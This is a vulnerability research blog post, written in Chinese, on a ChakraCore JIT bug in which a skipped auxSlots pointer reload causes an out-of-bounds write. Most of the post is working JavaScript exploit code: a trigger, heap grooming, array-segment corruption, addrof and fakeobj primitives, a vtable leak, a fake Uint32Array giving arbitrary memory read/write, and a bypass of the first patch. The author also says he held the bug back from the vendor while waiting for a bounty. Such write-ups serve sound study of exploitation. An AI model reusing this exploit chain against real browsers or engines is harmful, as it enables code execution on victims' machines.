Jul 10, 2019 • By bkth
今天我们将讨论一个在ChakraCore中导致远程代码执行(RCE)的漏洞,该漏洞从我发现之日起几乎存在了十个月。我未报告此漏洞的原因是Chakra长时间没有新版本发布,因此该漏洞从未作为Edge的一部分发布。作为独立研究者,我可以选择向MSRC报告并可能收到感谢邮件,或者等待它进入WIP以尝试获得奖金。不幸的是,它最近被修补了一次,但我在开发团队彻底修复之前当天就绕过了补丁。让我们深入探讨吧 :)
先决条件
ChakraCore中的JSObjects
在ChakraCore中,与其他引擎类似,对象的“默认”存储模式使用指向连续内存缓冲区的指针来存储属性值,并使用称为Type的对象来描述给定属性名的属性值存储位置。
因此,JSObject的布局如下:
- vfptr: 虚拟表指针
- type: 持有Type指针
- auxSlots: 指向存储对象属性的缓冲区的指针
- objectArray: 如果对象有索引属性,则指向JSArray
为了避免在每次向对象添加新属性时重新分配和复制先前属性,auxSlots缓冲区会以一定大小增长以容纳未来的属性添加。
ChakraCore中的JSArrays
数组使用三种存储类型以允许优化:
- NativeIntArray: 整数以未装箱形式存储在4字节上
- NativeFloatArray: 数字以未装箱形式存储在8字节上
- JavascriptArray: 数字以其装箱形式存储,对象指针直接存储
更多关于数组的内容稍后介绍 :)
JIT背景
ChakraCore有一个JIT编译器,具有两个优化层级:
FullJit层级执行所有优化,并使用直接算法处理被优化函数的控制流图(CFG),包括:
- 图的后向传递
- 前向传递
- 另一个后向传递(称为DeadStore传递)
在这些传递过程中,在每个基本块收集数据以跟踪各种符号的使用信息,这些符号代表JS变量,但也可以代表内部字段和指针。跟踪的一个信息是符号的向上暴露使用,这基本上允许了解给定符号是否可能在以后使用,并据此采取各种行动。
漏洞
该漏洞于2018年9月在提交8c5332b8eb5663e4ec2636d81175ccf7a0820ff2中引入。查看提交,我们看到它尝试优化某个称为AdjustObjType的指令,并引入了一个新指令AdjustObjTypeReloadAuxSlotPtr。
考虑以下代码片段:
1
2
3
4
5
6
|
function opt(obj) {
...
// 假设此时obj->auxSlots已满
obj.new_property = 1; // [[ 1 ]]
...
}
|
JIT必须在[[ 1 ]]处生成AdjustObjType指令以正确增长后备缓冲区。此优化尝试使用向上暴露使用信息来决定是生成AdjustObjType还是AdjustObjTypeReloadAuxSlotPtr,理由是如果该对象上没有更多属性访问,我们就不必重新加载auxSlots指针。
我们可以在后向传递的以下方法中看到特定逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
void
BackwardPass::InsertTypeTransition(IR::Instr *instrInsertBefore, StackSym *objSym, AddPropertyCacheBucket *data, BVSparse<JitArenaAllocator>* upwardExposedUses)
{
Assert(!this->IsPrePass());
IR::RegOpnd *baseOpnd = IR::RegOpnd::New(objSym, TyMachReg, this->func);
baseOpnd->SetIsJITOptimizedReg(true);
JITTypeHolder initialType = data->GetInitialType();
IR::AddrOpnd *initialTypeOpnd =
IR::AddrOpnd::New(data->GetInitialType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
initialTypeOpnd->m_metadata = initialType.t;
JITTypeHolder finalType = data->GetFinalType();
IR::AddrOpnd *finalTypeOpnd =
IR::AddrOpnd::New(data->GetFinalType()->GetAddr(), IR::AddrOpndKindDynamicType, this->func);
finalTypeOpnd->m_metadata = finalType.t;
IR::Instr *adjustTypeInstr = // [[ 1 ]]
IR::Instr::New(Js::OpCode::AdjustObjType, finalTypeOpnd, baseOpnd, initialTypeOpnd, this->func);
if (upwardExposedUses)
{
// 如果此类型更改导致槽调整,辅助槽指针(如果有)将在此重新加载,因此将其从upwardExposedUses中移除。
int oldCount;
int newCount;
Js::PropertyIndex inlineSlotCapacity;
Js::PropertyIndex newInlineSlotCapacity;
bool needSlotAdjustment =
JITTypeHandler::NeedSlotAdjustment(initialType->GetTypeHandler(), finalType->GetTypeHandler(), &oldCount, &newCount, &inlineSlotCapacity, &newInlineSlotCapacity);
if (needSlotAdjustment)
{
StackSym *auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
if (auxSlotPtrSym)
{
if (upwardExposedUses->Test(auxSlotPtrSym->m_id))
{
adjustTypeInstr->m_opcode = // [[ 2 ]]
Js::OpCode::AdjustObjTypeReloadAuxSlotPtr;
}
}
}
}
instrInsertBefore->InsertBefore(adjustTypeInstr);
}
|
我们可以看到,在[[ 1 ]]处,默认情况下它会生成AdjustObjType指令,仅当测试upwardExposedUses->Test(auxSlotPtrSym->m_id)成功时,才将指令类型更改为其变体AdjustObjTypeReloadAuxSlotPtr。
然后我们看到在Lowerer中处理这些特定指令的逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
void
Lowerer::LowerAdjustObjType(IR::Instr * instrAdjustObjType)
{
IR::AddrOpnd *finalTypeOpnd = instrAdjustObjType->UnlinkDst()->AsAddrOpnd();
IR::AddrOpnd *initialTypeOpnd = instrAdjustObjType->UnlinkSrc2()->AsAddrOpnd();
IR::RegOpnd *baseOpnd = instrAdjustObjType->UnlinkSrc1()->AsRegOpnd();
bool adjusted = this->GenerateAdjustBaseSlots(
instrAdjustObjType, baseOpnd, JITTypeHolder((JITType*)initialTypeOpnd->m_metadata), JITTypeHolder((JITType*)finalTypeOpnd->m_metadata));
if (instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr)
{
Assert(adjusted);
// 我们重新分配了辅助槽,因此必要时重新加载它们。
StackSym * auxSlotPtrSym = baseOpnd->m_sym->GetAuxSlotPtrSym();
Assert(auxSlotPtrSym);
IR::Opnd *opndIndir = IR::IndirOpnd::New(baseOpnd, Js::DynamicObject::GetOffsetOfAuxSlots(), TyMachReg, this->m_func);
IR::RegOpnd *regOpnd = IR::RegOpnd::New(auxSlotPtrSym, TyMachReg, this->m_func);
regOpnd->SetIsJITOptimizedReg(true);
Lowerer::InsertMove(regOpnd, opndIndir, instrAdjustObjType);
}
this->m_func->PinTypeRef((JITType*)finalTypeOpnd->m_metadata);
IR::Opnd *opnd = IR::IndirOpnd::New(baseOpnd, Js::RecyclableObject::GetOffsetOfType(), TyMachReg, instrAdjustObjType->m_func);
this->InsertMove(opnd, finalTypeOpnd, instrAdjustObjType);
initialTypeOpnd->Free(instrAdjustObjType->m_func);
instrAdjustObjType->Remove();
}
|
我们可以看到,如果instrAdjustObjType->m_opcode == Js::OpCode::AdjustObjTypeReloadAuxSlotPtr,将添加额外逻辑以重新加载auxSlots指针。
足够简单吧?问题是优化实际上无法按预期工作,反而导致了漏洞。
再次考虑代码片段:
1
2
3
4
5
|
function opt(obj) {
...
// 假设此时obj->auxSlots已满
obj.new_property = 1; // [[ 1 ]]
}
|
这次,在属性存储之后没有任何代码会导致使用auxSlots,这意味着obj的auxSlots指针不会被设置为向上暴露,因此优化将发生,生成AdjustObjType指令。
轻微的问题是auxSlots指针确实会被重新加载,因此如果我们在某些条件下查看底层发生的情况,可能会发生以下逻辑:
- auxSlots指针“存活”并加载到寄存器中
- AdjustObjType在写入新属性之前执行
- auxSlots指针未重新加载
- 使用先前的已满auxSlots指针写入属性
因此,我们最终在原始auxSlots缓冲区之后进行了8字节的越界写入,经过一些工作后,这足以实现高度可靠的读/写原语。
要触发此漏洞(至少第一个版本),我们可以使用以下非常复杂的JavaScript函数:
1
2
3
|
function opt(obj) {
obj.new_property = obj.some_existing_property;
}
|
利用
设定目标
在利用此漏洞时,我发现稍微形式化我想要实现的目标有助于正确思考任何所需的中间步骤。
我的目标是实现两个众所周知的原始功能:
- addrof: 允许我们泄漏任何JavaScript对象的内部地址
- fakeobj: 允许我们在内存中的任意地址获取JavaScript对象的句柄
限制
根据我们目前的情况,有几个限制需要考虑。
首先,我们无法控制写入越界的偏移量。它总是auxSlots缓冲区之后的第一个QWORD。
其次,我们不能写入任意值,因为我们将分配一个JSValue。在Chakra中,这意味着如果我们分配整数0x4141,它将写入0x1000000004141,双精度数类似地以0xfffc « 48标记,任何其他值都将意味着写入指针越界。
找到要覆盖的好目标
我们需要考虑一个好的覆盖目标。Chakra广泛使用虚拟方法,这意味着大多数对象实际上将虚拟表指针作为其第一个qword。在没有信息泄漏且存在控制流防护的情况下,这是不可行的。
为了将这个8字节的越界写入变成更强大的原语,我最终目标是数组段。
为了处理稀疏数组,Chakra使用基于段的实现,以避免疯狂膨胀内存。
1
2
3
|
let arr = [];
arr[0] = 0;
arr[0xfff] = 1;
|
在上面的代码片段中,为了避免分配0x1000 * 4字节来存储仅两个值,Chakra将此数组表示为具有两个段的数组:
- 第一个段从索引0开始,包含值0,指向
- 第二个段从索引0xfff开始,包含值1
段在内存中的布局如下:
- uint32_t left: 段的最左索引
- uint32_t length: 该段中设置的最高索引
- uint32_t size: 段的实际大小/容量,以它可以存储的元素数量计
- segment next*: 指向下一个段的指针(如果有)
段的元素将内联存储在其后。
如您所见,段的第一个QWORD有效地持有两个看起来很有趣的字段。更甚的是,我们可以使用标记整数,并实际利用标记为我们带来优势。如果我们越界写入0x4000,我们将得到一个left == 0x4000且length == 0x10000的段,从而允许我们更自由地读取段的越界。
现在我们需要处理的是如何将一个段放置在auxSlots缓冲区之后,以便我们可以覆盖段的前8个字节。
Chakra堆风水
Chakra中的大多数对象通过他们称为Recycler的分配器分配,这允许垃圾收集器完成其工作。它是一个基于桶的分配器,其中内存范围被保留用于特定大小的桶。这对我们来说意味着,最终在相同桶中的大小相同的对象很可能彼此相邻放置,而如果它们最终不在同一桶中,则很难实现两个分配彼此相邻。
幸运的是,我们可以控制auxSlots分配到的桶,因为我们可以控制在传递之前对象上设置的属性数量。我只是快速尝试向对象添加随机数量的属性,直到我知道哪个数字正确,以便:
- auxSlots与新的数组段分配在同一桶中
- auxSlots已满
如果我们有一个具有20个属性的对象,我们将满足这两个条件。
破坏段
覆盖数组段的另一个好处是,我们将能够通过常规JavaScript检测是否发生破坏。我使用了以下策略:
- 创建一个NativeFloatArray
- 设置一个高索引(0x7000):这将完成两件事,首先它将设置数组上的长度变量,以避免在我们访问越界索引时引擎短路我们,并创建一个新段
- 创建具有20个属性的对象:这将在正确的桶中分配auxSlots
- 通过分配给索引0x1000创建一个新段
通过在步骤3之后立即执行步骤4,我们尝试增加在步骤3分配的对象auxSlots之后为索引0x1000的新段的可能性。
然后我们将使用触发器越界写入0x4000。如果破坏成功,我们将段的索引更改为0x4000,因此如果我们在该索引读取标记值,我们就知道它起作用了。
我们可以用以下代码演示数组段的破坏:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
// 这创建一个特定大小的对象,使其auxSlots已满
// 向其添加属性将需要增长auxSlots缓冲区
function make_obj() {
let o = {};
o.a1=0x4000;
o.a2=0x4000;
o.a3=0x4000;
o.a4=0x4000;
o.a5=0x4000;
o.a6=0x4000;
o.a7=0x4000;
o.a8=0x4000;
o.a9=0x4000;
o.a10=0x4000;
o.a11=0x4000;
o.a12=0x4000;
o.a13=0x4000;
o.a14=0x4000;
o.a15=0x4000;
o.a16=0x4000;
o.a17=0x4000;
o.a18=0x4000;
o.a19=0x4000;
o.a20=0x4000;
return o;
}
function opt(o) {
o.pwn = o.a1;
}
for (var i = 0; i < 1000; i++) {
arr = [1.1];
arr[0x7000] = 0x200000 // 分段数组
let o = make_obj(); //
arr[0x1000] = 1337.36; // 这将在o的auxSlots之后分配一个段,我们可以覆盖包含长度和索引的第一个qword
opt(o);
// 现在如果触发了漏洞,我们覆盖了段的首个qword
// 对于索引0x1000,使其认为索引是0x4000,长度是0x10000
//(标记整数0x4000)
// 如果我们访问0x4000并读取放置的标记值,那么我们知道它被破坏了
if (arr[0x4000] == 1337.36) {
print("[+] corruption worked");
break;
}
}
|
我们现在可以从索引0x4000开始访问arr,并读取远超出缓冲区末尾的内容。同样重要的是要注意,由于arr被声明为包含浮点数的数组,它将表示为NativeFloatArray,这将允许我们将内存中的值读取为原始数字!
构建Addrof
通过先前的破坏,我们将能够设计一个稳定的addrof原语。我们将实现一个布局,其中被破坏的段直接在内存中后跟一个包含对象指针的数组。通过从段越界读取,我们将能够读取这些指针值并将它们作为原始数字返回到JavaScript中。
addrof设置如下所示:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
addrof_idx = -1;
function setup_addrof(toLeak) {
for (var i = 0; i < 1000; i++) {
addrof_hax = [1.1];
addrof_hax[0x7000] = 0x200000;
let o = make_obj();
addrof_hax[0x1000] = 1337.36;
opt(o);
if (addrof_hax[0x4000] == 1337.36) {
print("[+] corruption done for addrof");
break;
}
}
addrof_hax2 = [];
addrof_hax2[0x1337] = toLeak;
// 这将是addrof_hax2段的第一个qword,持有我们想要泄漏的对象
marker = 2.1219982213e-314 // 0x100001337;
for (let i = 0; i < 0x500; i++) {
let v = addrof_hax[0x4010 + i];
if (v == marker) {
print("[+] Addrof: found marker value");
addrof_idx = i;
return;
}
}
setup_addrof();
}
var addrof_setupped = false;
function addrof(toLeak) {
if (!addrof_setupped) {
print("[!] Addrof layout not set up");
setup_addrof(toLeak);
addrof_setupped = true;
print("[+] Addrof layout done!!!");
}
addrof_hax2[0x1337] = toLeak
return f2i(addrof_hax[0x4010 + addrof_idx + 3]);
}
|
构建Fakeobj
为了构建fakeobj,我们将做同样的事情但反过来,我们将破坏JavascriptArray的段,并在其后放置NativeFloatArray的段。然后,我们将能够在浮点数组中伪造指针值(值以未装箱形式存储),并通过从对象数组段越界读取来获取指针句柄,其中未装箱值代表指针。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
function setup_fakeobj(addr) {
for (var i = 0; i < 100; i++) {
fakeobj_hax = [{}];
fakeobj_hax2 = [addr];
fakeobj_hax[0x7000] = 0x200000
fakeobj_hax2[0x7000] = 1.1;
let o = make_obj();
fakeobj_hax[0x1000] = i2f(0x404040404040);
fakeobj_hax2[0x3000] = addr;
fakeobj_hax2[0x3001] = addr;
opt(o);
if (fakeobj_hax[0x4000] == i2f(0x404040404040)) {
print("[+] corruption done for fakeobj");
break;
}
}
return fakeobj_hax[0x4000 + 20] // 访问fabeobj_hax2的OOB
}
var fakeobj_setuped = false;
function fakeobj(addr) {
if (!fakeobj_setuped) {
print("[!] Fakeobj layout not set up");
setup_fakeobj(addr);
fakeobj_setuped = true;
print("[+] Fakeobj layout done!!!");
}
fakeobj_hax2[0x3000] = addr;
return fakeobj_hax[0x4000 + 20]
}
|
获取任意R/W原语
从那时起,实现R/W原语的步骤非常简单,我在SSTIC 2019上的演讲中已经解释过。
为了获得R/W原语,我们将以可以控制其缓冲区指针的方式伪造Uint32Array。
为了在Chakra中伪造类型化数组,我们必须知道其虚拟表指针,因为当我们开始为其赋值时将使用它。我们的第一步是泄漏虚拟表指针,并使用静态偏移计算所需的虚拟表指针。
为此,我们将利用以下事实:当使用new Array()语法分配时,达到某个较小大小的数组将使其数据内联存储。这与我们的addrof原语结合,使我们能够将任意数据放置在内存中的已知位置。
为了泄漏虚拟表内存,我们将使用以下策略:
- 分配内联数组a
- 分配内联数组b,使其紧接在a之后
- 在a的末尾伪造Uint64Number,使得持有值的字段与b的虚拟表指针重叠
- 在我们的伪造数字上调用parseInt,它将虚拟表指针作为数字返回
为了正确伪造Uint64Number,我们只需要伪造一个Type,基本上说明此对象是Uint64Number类型,并设置一些值为有效地址。
逻辑如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
let a = new Array(16);
let b = new Array(16);
let addr = addrof(a);
let type = addr + 0x68; // a[4]
// Uint64的类型
a[4] = 0x6;
a[6] = lo(addr); a[7] = hi(addr);
a[8] = lo(addr); a[9] = hi(addr);
a[14] = 0x414141;
a[16] = lo(type)
a[17] = hi(type)
// 对象在a[14]
let fake = fakeobj(i2f(addr + 0x90))
let vtable = parseInt(fake);
let uint32_vtable = vtable + offset;
|
现在我们拥有伪造类型化数组所需的一切,这只需要更多指针操作,这非常相似。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
type = new Array(16);
type[0] = 50; // TypeIds_Uint32Array = 50,
type[1] = 0;
typeAddr = addrof(type) + 0x58;
type[2] = lo(typeAddr); // ScriptContext在SetItem期间获取并传递,因此确保我们不使用错误指针
type[3] = hi(typeAddr);
ab = new ArrayBuffer(0x1338);
abAddr = addrof(ab);
fakeObject = new Array(16);
fakeObject[0] = lo(uint32_vtable);
fakeObject[1] = hi(uint32_vtable);
fakeObject[2] = lo(typeAddr);
fakeObject[3] = hi(typeAddr);
fakeObject[4] = 0; // 清零auxSlots
fakeObject[5] = 0;
fakeObject[6] = 0; // 清零objectArray
fakeObject[7] = 0;
fakeObject[8] = 0x1000;
fakeObject[9] = 0;
fakeObject[10] = lo(abAddr);
fakeObject[11] = hi(abAddr);
address = addrof(fakeObject);
fakeObjectAddr = address + 0x58;
arr = fakeobj(i2f(fakeObjectAddr));
|
我们现在可以设计我们的R/W原语如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
memory = {
setup: function(addr) {
fakeObject[14] = lower(addr);
fakeObject[15] = higher(addr);
},
write32: function(addr, data) {
memory.setup(addr);
arr[0] = data;
},
write64: function(addr, data) {
memory.setup(addr);
arr[0] = data & 0xffffffff;
arr[1] = data / 0x100000000;
},
read64: function(addr) {
memory.setup(addr);
return arr[0] + arr[1] * BASE;
}
};
print("[+] Reading at " + hex(address) + " value: " + hex(memory.read64(address)));
memory.write32(0x414243444546, 0x1337);
|
绕过第一次修复
该漏洞最初被修复,以便仅分配常规属性不再允许我们触发漏洞。然而,可以定义一个具有特殊处理的访问器以触发完全相同的状况。
我们需要更改的只是make_obj和opt函数为以下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
function make_obj() {
let o = {};
o.a1=0x4000;
o.a2=0x4000;
o.a3=0x4000;
o.a4=0x4000;
o.a5=0x4000;
o.a6=0x4000;
o.a7=0x4000;
o.a8=0x4000;
o.a9=0x4000;
o.a10=0x4000;
o.a11=0x4000;
o.a12=0x4000;
o.a13=0x4000;
o.a14=0x4000;
o.a15=0x4000;
o.a16=0x4000;
o.a17=0x4000;
o.a18=0x4000;
//o.a19=0x4000;
//o.a20=0x4000;
return o;
}
function opt(o) {
o.__defineGetter__("accessor",() => {})
o.a2; // 设置auxSlots为存活
o.pwn = 0x4000; // 漏洞
}
|
完整的漏洞利用代码可以在这里找到,并为第一次修复后的提交e149067c8f1a80462ac77d863b9bfb0173d0ced3编写。
结论
在这篇博客文章中,我们看到一个有限的原语足以完全危害进程。希望您喜欢这篇博客文章。谢谢 :)